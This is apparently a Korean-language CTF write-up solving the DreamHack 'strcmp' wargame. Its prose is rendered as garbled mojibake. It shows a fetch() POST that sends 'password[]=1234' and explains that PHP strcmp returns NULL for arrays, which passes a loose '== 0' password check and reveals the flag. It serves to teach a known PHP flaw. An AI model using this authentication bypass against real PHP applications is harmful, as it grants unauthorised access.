๐ดCTF/DreamHack
DreamHack - [wargame.kr] strcmp ํ์ด
Janger
2023. 9. 11. 05:10
728x90
fetch("http://host3.dreamhack.games:20758/", {
"headers": {
"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8",
"accept-language": "ko-KR,ko;q=0.8",
"cache-control": "max-age=0",
"content-type": "application/x-www-form-urlencoded",
"sec-gpc": "1",
"upgrade-insecure-requests": "1"
},
"referrer": "http://host3.dreamhack.games:20758/",
"referrerPolicy": "strict-origin-when-cross-origin",
"body": "password[]=1234",
"method": "POST",
"mode": "cors",
"credentials": "include"
});
PHP์์ strcmp๋ ๋ฐฐ์ด, ํด๋์ค ์ธ์คํด์ค, ํจ์์ ๋ฌธ์๋ฅผ ๋น๊ตํ๋ฉด NULL์ด ๋์ค๊ฒ ๋ฉ๋๋ค.
strcmp("foo", array()) => NULL + PHP Warning
strcmp("foo", new stdClass) => NULL + PHP Warning
strcmp(function(){}, "") => NULL + PHP Warning
์ด์ ์ ์ด์ฉํ๋ฉด NULL == 0์ด๋ฏ๋ก ํ๋๊ทธ ๊ฐ์ ์ถ๋ ฅํ ์ ์์ต๋๋ค.
if (strcmp($_POST['password'], $password) == 0) {
echo "Congratulations! Flag is <b>" . $FLAG ."</b>";
exit();
} else {
echo "Wrong password..";
}
Reference
728x90